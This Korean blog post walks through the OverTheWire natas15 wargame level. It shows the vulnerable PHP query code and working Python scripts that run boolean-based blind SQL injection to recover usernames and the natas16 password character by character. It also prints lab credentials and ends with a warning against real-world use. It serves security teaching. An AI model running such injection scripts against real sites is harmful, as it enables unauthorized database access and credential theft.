티스토리 뷰
URL : http://natas15.natas.labs.overthewire.org/
id : natas15
password : TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
(2023. 05 기준)
natas14 와 이어지는 sql injection 문제입니다.
username 필드에 값을 입력하고 존재여부에 대해 결과를 나타내주네요.
소스코드를 살펴봅시다.
natas14 와 마찬가지로 " or 1=1# 구문으로 sql injection 을 하면 되는거 아닌가? 싶지만
그저 This user exists 라는 페이지만 나타낼 뿐입니다.
코드를 자세히 살펴볼까요
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
자세히 살펴보니 $query 를 실행하고 그 결과를 $res 에 담는데
$res 가 한줄 이상의 결과를 가지고 있으면 바로 This user exits 를 반환해주네요.
$res 에 결과가 아예 없으면 그제서야 This user doesn't exits 를 반환하는 구조입니다.
natas14 도 다시 살펴보면 동일한 구조를 가지고 있고
우리가 만든 sql injection 작동해서 users 테이블의 모든 정보를 가져와서 $res 에 담았지만
$res 가 한줄 이상의 값을 가졌기에 문제 페이지에서 깔끔하게 패스워드만 보여준 것이었네요.
아무튼 이 문제는 항진명제를 이용한 sql injection 으로는 해결할 수 없을 것 같습니다.
그렇다면 어떻게 접근해야 할까요?
이번 문제의 경우는 sql 인젝션으로 한번에 모든 정보를 획득할 수는 없습니다.
하지만 sql 필터링이 되지 않은 상태이기 때문에 sql 인젝션을 활용해서
단편적인 정보를 계속 수집해 나갈 수는 있습니다.
sql 을 응용해서 아래와 같은 구문을 작성하면
like 조건을 통해 username 의 일부를 유추할 수 있습니다.
위 예제에서는 a 로 시작하는 username 이 존재함을 알 수 있고
아래 예제에서는 d 로 시작하는 username 이 존재하지 않음을 알 수 있습니다.
a로 시작하는 username 이 존재했으므로
username 으로 admin 을 유추해보면 해당 아이디는 존재하지 않음을 확인할 수 있습니다.
natas15 환경에서 우리가 할 수 있는 방법은 위와 같은 방식으로 username, password 를 철자 하나하나씩 유추해서 누적해가는 방법 뿐입니다. 이 방식은 blind sql injection 기법이라 하며 매우 강력하고 효과적인 해킹 기법 중 하나입니다. 블라인드 SQL 인젝션은 응답 시간이나 페이지 내용의 미묘한 변화를 관찰함으로써 데이터베이스의 정보를 하나씩 추론해 나가는 방식입니다. 이러한 방식은 시간이 많이 소요되고 복잡할 수 있지만, 적절한 도구와 기술을 사용하면 매우 효과적입니다.
마찬가지로 이번 문제의 경우도 모든 조합을 수작업으로 처리할 수는 없으니
간단한 웹 접속용 코드를 만들어서 자동화시켜야 합니다.
import requests
from requests.auth import HTTPBasicAuth
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''
usernames = []
for char in chars:
query = {'username': '" or username LIKE "%' + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
auth=HTTPBasicAuth('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'), data=query)
if 'exists' in r.text:
filtered += char
print("filtered : " + filtered)
last_username = ''
while True:
username = ''
for i in range(10): # username의 최대 길이에 따라 조정
found = False
for char in filtered:
query = '" or username > "' + last_username + '" and username like "' + username + char + '%" #'
Data = {'username': query}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
auth=HTTPBasicAuth('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'), data=Data)
if 'exists' in r.text:
username += char
found = True
break
if not found:
break
if username and username != last_username:
usernames.append(username)
print(username)
last_username = username
else:
break
위 코드를 실행하면 아래와 같이 username 리스트를 확인할 수 있습니다.
username 에 natas16 이 있네요.
이제 natas16 에 대한 패스워드를 같은 방식으로 구해내면 됩니다.
import requests
from requests.auth import HTTPBasicAuth
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''
for char in chars:
Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'), data = Data)
if 'exists' in r.text :
filtered = filtered + char
for i in range(0,32):
for char in filtered:
Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'), data = Data)
if 'exists' in r.text :
passwd = passwd + char
print(passwd)
break
natas16 PASSWD: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
* SQL 쿼리에서 BINARY 키워드를 사용하면, 해당 연산은 대소문자를 구별하는 이진(binary) 비교를 수행합니다. 일반적으로 SQL 쿼리는 대소문자를 구별하지 않는 경우가 많습니다(case-insensitive). 그러나 BINARY 키워드를 사용하면, 문자열 비교가 대소문자를 정확히 구별하게 됩니다. 예를 들어, 'apple'과 'Apple'은 BINARY 키워드를 사용할 때 서로 다른 것으로 간주됩니다.
아래 3가지 실행 결과를 비교해서 살보세요.
natas 사이트에서 통하는 취약점은 실제로 아주 오래전에는 통했을지도 몰라도
지금은 먹히지 않는게 대부분입니다.
혹시라도 natas 에서 배운 기법을 활용해서 현실세계에서 웹취약점을 탐색하는 행위는
하지 않기를 강력하게 권고합니다.
natas 는 보안 학습을 위해 제작된 사이트로 취약점 탐색 행위를 하는것을 허용하게끔 설계되었고
그 영향력이 제한적이지만 동일한 방식으로 현실에 존재하는 개인/상업 사이트에 취약점 점검을 한다면
여러분은 법적인 책임을 지게 될 수 있습니다.
국내외 대부분의 사이트들은 침입탐지 시스템 등을 운영하고 이상 탐색 행위를 추적할 수 있습니다.
이곳에서는 웹보안에 대한 기본적인 개념을 익히는데 만족하고
그 외 다양한 시도는 사전 협의된 테스트 환경이나 본인이 감당할 수 있는 실험 환경 등에서만
진행하길 바랍니다.
'수업 노트 > natas' 카테고리의 다른 글
sql injection 추가 자료 #2 (0) | 2024.03.06 |
---|---|
sql injection 추가 자료 #1 (0) | 2024.01.25 |
natas14 solution (0) | 2023.05.23 |
natas13 solution (0) | 2023.04.20 |
natas12 solution (0) | 2023.04.19 |
- Total
- Today
- Yesterday
- find
- 32bit
- bz2
- 리눅스
- Encode
- 웹보안
- OpenSSL
- solution
- Strings
- OverTheWire
- natas7
- BASE64
- Natas
- X32
- SSL
- grep
- tar
- ssh
- Linux
- 압축파일
- HTTPS
- gz
- 웹보안공부
- java
- over the wire
- 풀이
- Bandit
- tr
- nc
- 리터럴
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |